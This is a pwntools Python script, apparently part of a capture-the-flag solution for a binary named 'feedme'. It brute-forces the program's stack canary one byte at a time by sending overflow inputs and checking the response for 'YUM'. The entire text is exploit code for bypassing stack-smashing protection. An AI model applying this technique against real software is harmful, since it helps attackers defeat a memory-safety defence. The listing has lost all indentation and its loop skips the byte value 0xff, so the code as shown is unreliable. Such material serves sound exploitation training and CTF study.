from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")